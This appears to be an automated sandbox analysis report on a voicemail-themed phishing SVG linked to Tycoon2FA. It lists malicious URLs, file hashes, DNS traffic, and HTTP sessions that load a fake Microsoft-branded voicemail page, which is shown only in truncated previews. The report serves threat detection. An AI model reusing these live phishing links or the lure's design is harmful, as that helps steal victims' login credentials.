	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	5886059152_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	rPurchaseEnquiry.exe	Get hash	malicious	FormBook	Browse	104.21.11.99
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.11507.25552.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	https://upbring.org/foster-training-calendar	Get hash	malicious	Unknown	Browse	104.16.117.116
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.41.104
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
AMAZON-02US	rPurchaseEnquiry.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://upbring.org/foster-training-calendar	Get hash	malicious	Unknown	Browse	18.245.60.110
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	13.33.187.68
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	13.33.187.96
	AWfMAN0ha6.exe	Get hash	malicious	NanoCore	Browse	35.158.159.254
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	13.32.121.110
	http://globalvpnproject.net	Get hash	malicious	Unknown	Browse	35.178.30.66
	https://gamma.app/docs/New-PDF-Document-Received-6wmhomcaze1r57m?mode=present#card-c4d721ntj9z3keo	Get hash	malicious	Unknown	Browse	108.138.7.117
	https://frilanskonsult.cmail19.com/t/y-l-cdkjiht-htthlidde-r/	Get hash	malicious	Unknown	Browse	52.89.1.57
	https://blgwlnauto.com/kylefax/faxdocuments.html	Get hash	malicious	HTMLPhisher	Browse	63.35.2.123
CLOUDFLARENETUS	rPurchaseEnquiry.exe	Get hash	malicious	FormBook	Browse	104.21.11.99
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.11507.25552.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	https://upbring.org/foster-training-calendar	Get hash	malicious	Unknown	Browse	104.16.117.116
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.41.104
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
CLOUDFLARENETUS	rPurchaseEnquiry.exe	Get hash	malicious	FormBook	Browse	104.21.11.99
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.11507.25552.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	https://upbring.org/foster-training-calendar	Get hash	malicious	Unknown	Browse	104.16.117.116
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.41.104
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52007), with CRLF line terminators
Category:	downloaded
Size (bytes):	151718
Entropy (8bit):	6.022107090052357
Encrypted:	false
SSDEEP:	3072:FSbm9FoBwJn1UuKcI79OY+EqJJZn4AsQb5:so6w513KcBY+EcTsQb5
MD5:	E68DA94F78E83FE3D23882CF2631D7DF
SHA1:	12CE8CB05926E5D41AA461FA0A93A85701D584A6
SHA-256:	DCBD93936EAC17CA19EC9F10D9CF41F66FFEC6B97287560759F5D8D327887C6F
SHA-512:	7A0D4D1BF803BE55E41602233E24670432C73863AB259F6C9EBFB4B8FAFE0BFA17C912494F4C497C037A51CDFB7F84506ACBFFD93454D890CA93601AA48D4E9B
Malicious:	false
Reputation:	low
URL:	https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	4.13780266223385
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	VMail_39200330.svg
File size:	14'661 bytes
MD5:	3a5b974454085bf4c58d0a50223e4816
SHA1:	257565da2a2c04502a549a621215864725df2a5b
SHA256:	217636b9631803bd7addf757c55cf77943243eae2d4ad800d6e4bf5af2841a06
SHA512:	7ca97b78f792b370240bc5e346d97a4cdf97d4119c96ee321ec0a5f184c3cc18c514562ffc1057248fd2f53b4b4b1d72591fd25033606fa38a389e20d1bfe06e
SSDEEP:	192:2xybX9fDZmWC0pf5ngLVg/FZ527MmY/4zuXCdrLd9p0buS3B8LRRaXwDNVu:pz9Zmypf8Vge16XCdV9e6R/p0
TLSH:	0362A6F83B6005F0FD899BD76A07003A3D13A4FB6D52C699C7986E1A354C85D9C6AEC3
File Content Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="234" height="48" viewBox="0 0 234 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M31.6195 23.4612L28.3868 46.5693H16.9847L20.0408 26.5186C20.4524 24.0497 19.8653 23.4612 19.0419 23.4612C17.6

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 23:11:01.530096054 CET	53	53500	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:01.549441099 CET	53	63078	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:02.504319906 CET	53	61451	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:02.642234087 CET	53	62547	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:04.993026972 CET	56508	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:04.993180037 CET	49615	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:05.007652998 CET	53	49615	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:05.007981062 CET	53	56508	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:06.780714989 CET	60135	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:06.781034946 CET	52934	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:07.049140930 CET	53	60135	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:07.085685015 CET	53	52934	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:09.423302889 CET	60455	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:09.423568010 CET	53143	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:09.432554007 CET	53	60455	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:09.433640957 CET	53	53143	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:09.508255005 CET	53	49650	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:10.475445032 CET	51223	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:10.475760937 CET	54316	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:10.481978893 CET	53	51223	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:10.483014107 CET	53	54316	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:19.891089916 CET	53	51060	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:32.931091070 CET	57977	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:32.931528091 CET	54740	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:32.944930077 CET	53	57977	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:32.984364986 CET	53	54740	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:33.552526951 CET	56264	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:33.552731991 CET	60059	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:33.562417030 CET	53	60059	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:33.562978983 CET	53	56264	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:34.777441978 CET	55170	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:34.777606964 CET	51019	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:34.784157991 CET	53	55170	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:34.784167051 CET	53	51019	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.063823938 CET	50989	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.064291954 CET	62378	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.064825058 CET	52967	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.065114975 CET	57461	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.066314936 CET	64749	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.066550016 CET	51944	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:36.070604086 CET	53	50989	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.071177959 CET	53	62378	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.071501970 CET	53	57461	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.071569920 CET	53	52967	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.073234081 CET	53	64749	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:36.073347092 CET	53	51944	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:37.593771935 CET	64961	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:37.594252110 CET	50207	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:37.601443052 CET	53	64961	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:37.601978064 CET	53	50207	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:38.262259007 CET	58272	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:38.262406111 CET	61728	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:38.269660950 CET	53	58272	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:38.270450115 CET	53	61728	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:38.501293898 CET	53	51253	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:45.949244022 CET	56941	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:45.949490070 CET	62863	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:45.960378885 CET	53	56941	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:46.002742052 CET	53	62863	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:47.206849098 CET	57255	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:47.206995010 CET	63939	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:47.224350929 CET	53	57255	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:47.225382090 CET	53	63939	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:47.652270079 CET	51684	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:47.652419090 CET	59984	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:47.664407015 CET	53	51684	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:47.671331882 CET	53	59984	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:50.392199993 CET	61584	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:50.392358065 CET	63303	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:50.400429964 CET	55170	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:50.400696039 CET	54708	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:50.401524067 CET	53	63303	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:50.401549101 CET	53	61584	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:50.408196926 CET	53	55170	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:50.458955050 CET	53	54708	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:51.310564995 CET	61072	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:51.310564995 CET	63529	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:51.317320108 CET	53	61072	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:51.318654060 CET	53	63529	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:54.343647957 CET	62207	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:54.343866110 CET	62382	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:54.351521969 CET	53	62382	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:54.397617102 CET	53	62207	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:56.236614943 CET	59661	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:56.236954927 CET	58813	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:56.243582964 CET	53	58813	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:56.244144917 CET	53	59661	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:56.262468100 CET	53	62029	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:57.172511101 CET	55066	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:57.172668934 CET	51939	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:57.186880112 CET	53	55066	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:57.231695890 CET	53	51939	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:57.551213980 CET	58374	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:57.551492929 CET	64912	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:57.558760881 CET	53	58374	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:57.559375048 CET	53	64912	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:58.232867956 CET	62626	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:58.233089924 CET	64279	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:11:58.297573090 CET	53	62626	1.1.1.1	192.168.2.4
Mar 17, 2025 23:11:58.298069954 CET	53	64279	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:00.812606096 CET	53	59739	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:00.878578901 CET	53	52923	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:02.984035969 CET	53	55932	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:07.769661903 CET	138	138	192.168.2.4	192.168.2.255
Mar 17, 2025 23:12:30.799880028 CET	53	51530	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:34.794720888 CET	53185	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:12:34.795140982 CET	50279	53	192.168.2.4	1.1.1.1
Mar 17, 2025 23:12:34.801388979 CET	53	53185	1.1.1.1	192.168.2.4
Mar 17, 2025 23:12:34.801959991 CET	53	50279	1.1.1.1	192.168.2.4
Mar 17, 2025 23:13:16.766664028 CET	53	49913	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 17, 2025 23:11:32.984433889 CET	192.168.2.4	1.1.1.1	c28a	(Port unreachable)	Destination Unreachable
Mar 17, 2025 23:11:46.002860069 CET	192.168.2.4	1.1.1.1	c27a	(Port unreachable)	Destination Unreachable
Mar 17, 2025 23:11:50.460213900 CET	192.168.2.4	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable
Mar 17, 2025 23:11:57.231760025 CET	192.168.2.4	1.1.1.1	c2a7	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:08 UTC	662	OUT	GET /vmail HTTP/1.1 Host: providentfundquery.in Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:08 UTC	220	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 17 Mar 2025 22:10:40 GMT Server: Apache Location: https://providentfundquery.in/vmail/ Content-Length: 244 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-03-17 22:11:08 UTC	244	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 72 6f 76 69 64 65 6e 74 66 75 6e 64 71 75 65 72 79 2e 69 6e 2f 76 6d 61 69 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://providentfundquery.in/vmail/">here</a>.</p></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:08 UTC	663	OUT	GET /vmail/ HTTP/1.1 Host: providentfundquery.in Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:09 UTC	185	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:10:41 GMT Server: Apache X-Powered-By: PHP/7.0.33 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-17 22:11:09 UTC	5105	IN	Data Raw: 31 33 65 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e c3 b0 c5 b8 e2 80 9c c5 be 20 56 6f 69 63 65 6d 61 69 6c 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d Data Ascii: 13e4<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> Voicemail Notification</title> <style> body { font-fam

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:10 UTC	667	OUT	GET /wikipedia/commons/4/44/Microsoft_logo.svg HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://providentfundquery.in/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:10 UTC	1080	IN	HTTP/1.1 200 OK date: Mon, 17 Mar 2025 19:21:14 GMT server: ATS/9.2.9 etag: W/363fdd53d34303b727d9dab161b8e88b content-type: image/svg+xml x-object-meta-sha1base36: an1udxuweqh76ugogpdy8qhw9zzoroi last-modified: Thu, 29 Jul 2021 02:10:50 GMT vary: Accept-Encoding age: 10195 x-cache: cp3075 hit, cp3075 hit/264 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes content-length: 272 connection: close
2025-03-17 22:11:10 UTC	272	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 33 20 32 33 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 66 33 66 33 22 20 64 3d 22 4d 30 20 30 68 32 33 76 32 33 48 30 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 35 33 32 35 22 20 64 3d 22 4d 31 20 31 68 31 30 76 31 30 48 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 38 31 62 63 30 36 22 20 64 3d 22 4d 31 32 20 31 68 31 30 76 31 30 48 31 32 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 35 61 36 66 30 22 20 64 3d 22 4d 31 20 31 32 68 31 30 76 31 30 48 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 62 61 30 38 22 20 64 3d 22 4d 31 32 20 31 32 68 31 Data 